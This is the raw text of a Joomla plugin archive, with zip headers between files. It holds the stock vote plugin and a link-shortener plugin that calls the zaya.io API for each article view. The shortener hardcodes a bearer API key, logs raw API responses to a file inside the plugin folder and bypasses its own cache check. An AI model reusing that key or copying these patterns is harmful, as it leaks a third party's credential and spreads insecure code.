 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the
plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

$uri = clone JUri::getInstance();
$uri->setVar('hitcount', '0');

// Create option list for voting select box
$options = array();

for ($i = 1; $i < 6; $i++)
{
	$options[] = JHtml::_('select.option', $i,
JText::sprintf('PLG_VOTE_VOTE', $i));
}

?>
<form method="post" action="<?php echo
htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8');
?>" class="form-inline">
	<span class="content_vote">
		<label class="unseen element-invisible"
for="content_vote_<?php echo (int) $row->id;
?>"><?php echo JText::_('PLG_VOTE_LABEL');
?></label>
		<?php echo JHtml::_('select.genericlist', $options,
'user_rating', null, 'value', 'text',
'5', 'content_vote_' . (int) $row->id); ?>
		&#160;<input class="btn btn-mini"
type="submit" name="submit_vote" value="<?php
echo JText::_('PLG_VOTE_RATE'); ?>" />
		<input type="hidden" name="task"
value="article.vote" />
		<input type="hidden" name="hitcount"
value="0" />
		<input type="hidden" name="url"
value="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT,
'UTF-8'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</span>
</form>
PK	�[V��wwcontent/vote/vote.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Vote plugin.
 *
 * @since  1.5
 */
class PlgContentVote extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * The position the voting data is displayed in relative to the article.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $votingPosition;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of
configuration settings.
	 *
	 * @since   3.7.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->votingPosition = $this->params->get('position',
'top');
	}

	/**
	 * Displays the voting area when viewing an article and the voting section
is displayed before the article
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if
in com_content else boolean false
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params,
$page = 0)
	{
		if ($this->votingPosition !== 'top')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area when viewing an article and the voting section
is displayed after the article
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if
in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, &$row, &$params,
$page = 0)
	{
		if ($this->votingPosition !== 'bottom')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if
in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	private function displayVotingData($context, &$row, &$params,
$page)
	{
		$parts = explode('.', $context);

		if ($parts[0] !== 'com_content')
		{
			return false;
		}

		if (empty($params) || !$params->get('show_vote', null))
		{
			return '';
		}

		// Load plugin language files only when needed (ex: they are not needed
if show_vote is not active).
		$this->loadLanguage();

		// Get the path for the rating summary layout file
		$path = JPluginHelper::getLayoutPath('content',
'vote', 'rating');

		// Render the layout
		ob_start();
		include $path;
		$html = ob_get_clean();

		if ($this->app->input->getString('view', '')
=== 'article' && $row->state == 1)
		{
			// Get the path for the voting form layout file
			$path = JPluginHelper::getLayoutPath('content',
'vote', 'vote');

			// Render the layout
			ob_start();
			include $path;
			$html .= ob_get_clean();
		}

		return $html;
	}
}
PK	�[����content/vote/vote.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_vote</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_VOTE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="vote">vote.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_vote.ini</language>
		<language
tag="en-GB">en-GB.plg_content_vote.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_VOTE_POSITION_LABEL"
					description="PLG_VOTE_POSITION_DESC"
					default="top"
					>
					<option value="top">PLG_VOTE_TOP</option>
					<option value="bottom">PLG_VOTE_BOTTOM</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[/p1
,
,+content/zaya_linkshortener_in_content/b.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.78
	@build			19th May, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		zaya_linkshortener_in_content.php
	@author			Lmskaran <http://Lmskaran.com>
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__)

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.class_extends.head.1.$$$$]***/

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Plugin\CMSPlugin;
/***[/JCBGUI$$$$]***/


/***[JCBGUI.class_extends.comment.1.$$$$]***/
/**
 * Content - Zaya_linkshortener_in_content plugin.
 *
 * @package   Zaya_linkshortener_in_content
 * @since     1.1.1
 *//***[/JCBGUI$$$$]***/

class PlgContentZaya_linkshortener_in_content extends JPlugin
{



    public function browser($user_agent)
    {
        if (strpos($user_agent, 'Opera') || strpos($user_agent,
'OPR/')) return 'Opera';
        elseif (strpos($user_agent, 'Edge')) return
'Edge';
        elseif (strpos($user_agent, 'Chrome')) return
'Chrome';
        elseif (strpos($user_agent, 'Safari')) return
'Safari';
        elseif (strpos($user_agent, 'Firefox')) return
'Firefox';
        elseif (strpos($user_agent, 'MSIE') ||
strpos($user_agent, 'Trident/7')) return 'Internet
Explorer';

        return false;
    }


    public function onContentAfterTitle($context, $table, $item)
    {
        if ($context != 'com_content.article')
            return false;

        //prevent generete the short link from robots crawl
        if (!$this->browser($_SERVER['HTTP_USER_AGENT']))
            return false;


        $app = JFactory::getApplication();
        $view = 'content';
        $id = $table->id;
        $domain = $this->get_domain();
        $source_link= (string)juri::getinstance();

        $db = JFactory::getDbo();
        $query = $db->getQuery(true)
            ->select('id, link')
            ->from($db->quoteName('#__zaya_content',
'r'))
            ->where($db->quoteName('r.link_id') .
'=' . $id)
            ->where($db->quoteName('r.type') .
'=' . $db->quote($view))
            ->where($db->quoteName('r.domain') .
'=' . $db->quote($domain))
           
->where($db->quoteName('r.source_link').'='.
$db->quote($source_link));


        $db->setQuery($query);
        $result = $db->loadObject();
        if (0) {
            $short_link = $result->link;
        } else {


            $current_url = $source_link;
            $url_encode = urlencode($current_url);

            $api_key =
'rrrFjYXyffiavdpwHcpKxdBSbbvetxYf9p3z0hg19wNPjZUI425hp1EM71G2';
            $url = 'https://zaya.io/api/v1/links';

            $post_fields= "url=".$url_encode;
            $header= [
                "Content-Type:
application/x-www-form-urlencoded",
                "Authorization: Bearer ".$api_key
            ];

            $curl_handle = curl_init();
            curl_setopt($curl_handle, CURLOPT_URL, $url);
            curl_setopt($curl_handle, CURLOPT_HTTPHEADER, $header);
            curl_setopt($curl_handle, CURLOPT_POST, true);
            curl_setopt($curl_handle, CURLOPT_POSTFIELDS, $post_fields);
            curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, true);
            $curl_data = json_decode(curl_exec($curl_handle));
            curl_close($curl_handle);

            $filename = __DIR__ . '/log.txt';
            file_put_contents($filename, print_r($curl_data, true) .
"\n", FILE_APPEND);

            if ($curl_data->status == 200) {
                $short_link = $curl_data->data->short_url;


                $query = $db->getQuery(true);
                $columns = array('link_id',
'source_link', 'link', 'type',
'domain');

                $values = array($id, $db->quote($source_link),
$db->quote($short_link), $db->quote($view), $db->quote($domain));

                $query
                   
->insert($db->quoteName('#__zaya_content'))
                    ->columns($db->quoteName($columns))
                    ->values(implode(',', $values));


                $db->setQuery($query);
                $app = JFactory::getApplication();

                $db->execute();
            } else {
                echo 'response from rizy: ' .
$curl_data->status;
                return 0;
            }

        }
        ?>

        <script>


            function copyElementText() {
                var ShortLinkButton =
document.querySelector('#short_link_copy');
                var text =
document.getElementById('this-a-link').innerText;
                var elem = document.createElement("textarea");
                document.body.appendChild(elem);
                elem.value = text;
                elem.select();
                document.execCommand("copy");
                document.body.removeChild(elem);
                ShortLinkButton.classList.add("Copied");
            }


        </script>


        <short_link>
            <div>
                <span>لینک کوتاه دوره</span>
                <div id="short_link_copy"
onclick="copyElementText()">
                    <button>
                        <span class="copy_link">کپی
کنید</span>
                        <span class="copied_link">کپی
شد !</span>
                    </button>
                    <div id="this-a-link">
                        <?php echo $short_link; ?>
                        <svg version="1.0"
xmlns="http://www.w3.org/2000/svg"
                             width="20px" height="20px"
viewBox="0 0 64.000000 64.000000"
                             preserveAspectRatio="xMidYMid
meet">
                            <metadata>
                                Created by potrace 1.10, written by Peter
Selinger 2001-2011
                            </metadata>
                            <g
transform="translate(0.000000,64.000000)
scale(0.100000,-0.100000)"
                               fill="#a5afbb"
stroke="none">
                                <path d="M409 567 c-32 -18 -98 -87
-99 -104 0 -24 23 -13 71 32 57 53 96 59
                                134 20 46 -45 36 -78 -53 -167 -84 -84 -113
-95 -160 -62 -24 16 -42 12 -42
                                -11 0 -33 103 -59 140 -35 42 26 170 165 175
191 21 96 -83 181 -166 136z"/>
                                <path d="M240 400 c-42 -26 -170
-165 -175 -191 -10 -43 2 -83 33 -111 59 -56
                                119 -49 186 20 77 79 55 102 -25 27 -57 -53
-96 -59 -134 -20 -46 45 -36 78
                                53 167 84 84 113 95 160 62 24 -16 42 -12 42
11 0 33 -103 59 -140 35z"/>
                            </g>
                        </svg>

                    </div>
                    <!-- <span
class="before-copy">کپی کنید</span>
                    <span class="lms-copied">کپی
شد</span> -->

                </div>
            </div>
        </short_link>

        <script>
            var removeClassShortLink =
document.querySelector('#short_link_copy');
            removeClassShortLink.addEventListener('mouseleave',
remove_class)

            function remove_class() {
                // alert('mahdi');
                removeClassShortLink.classList.remove("Copied");
            }
        </script>


        <style>

            #this-a-link {
                display: inline-block;
            }

            #short_link_copy {
                background: white;
                border: 1px solid #e6e6e6;
                padding: 3px 3px 3px 8px;
                text-align: left;
                display: flex;
                justify-content: space-between;
                align-items: center;
                border-radius: 5px;
                margin: 10px 0;
                box-shadow: 2px 0px 5px #e5e5e5;
                color: #a5afbb;
                font-weight: 100;
                font-size: 0.9rem;
            }


            .before-copy {
                position: absolute;
                top: 0;
                right: 0;
                width: 100%;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100%;
                opacity: 0;
                transition: 0.6s;
                color: white;
                border-radius: 50px;

            }

            .lms-copied {
                position: absolute;
                top: 0;
                right: 0;
                width: 100%;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100%;
                opacity: 0;
                transition: 0.6s;
                z-index: -1;
                color: white;
                border-radius: 50px;
            }


            #short_link_copy button {
                border: unset;
                border-radius: 5px;
                padding: 8px 20px;
                color: white;
                font-size: 0.8rem;
                background: #4d90fd;
                position: relative;
                overflow: hidden;
                transition:0.3s;
                opacity: 0.8;
            }

            #short_link_copy button:hover{
                opacity: 1;
            }

            span.copied_link {
                position: absolute;
                left: 50%;
                transform: translateX(-50%);
                top: -30px;
                transition: 0.2s;
            }

            span.copy_link {
                position: relative;
                top: 0;
                transition: 0.2s;
            }

            div#short_link_copy.Copied button {
                background:#27c452;
            }

            div#short_link_copy.Copied .copy_link {
                top: 30px;
            }

            div#short_link_copy.Copied .copied_link{
                top: 8px;
            }


            #short_link_copy::selection {
                color: red;
                background: yellow;
            }
        </style>


        <?php
    }

    public function get_domain()
    {
        $domain = juri::root();
        $domain =
preg_replace('/http:\/\/|https:\/\/|http:\/\/www\.|https:\/\/www\.|www\.|\//',
'', $domain);
        return $domain;
    }

}
PK	�[�#o,,0content/zaya_linkshortener_in_content/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�?����hcontent/zaya_linkshortener_in_content/language/en-GB/en-GB.plg_content_zaya_linkshortener_in_content.ininu�[���PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT="Content
- Zaya_linkshortener_in_content"
PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT_DESCRIPTION="zaya_linkshortener_in_content"
PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT_XML_DESCRIPTION="<h1>Content
- Zaya_linkshortener_in_content (v.1.1.1)</h1> <div
style='clear:
both;'></div><p>zaya_linkshortener_in_content</p><p>Created
by <a href='http://Lmskaran.com'
target='_blank'>Lmskaran</a><br
/><small>Development started 6th December,
2021</small></p>"PK	�[�?����lcontent/zaya_linkshortener_in_content/language/en-GB/en-GB.plg_content_zaya_linkshortener_in_content.sys.ininu�[���PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT="Content
- Zaya_linkshortener_in_content"
PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT_DESCRIPTION="zaya_linkshortener_in_content"
PLG_CONTENT_ZAYA_LINKSHORTENER_IN_CONTENT_XML_DESCRIPTION="<h1>Content
- Zaya_linkshortener_in_content (v.1.1.1)</h1> <div
style='clear:
both;'></div><p>zaya_linkshortener_in_content</p><p>Created
by <a href='http://Lmskaran.com'
target='_blank'>Lmskaran</a><br
/><small>Development started 6th December,
2021</small></p>"PK	�[�#o,,?content/zaya_linkshortener_in_content/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,9content/zaya_linkshortener_in_content/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>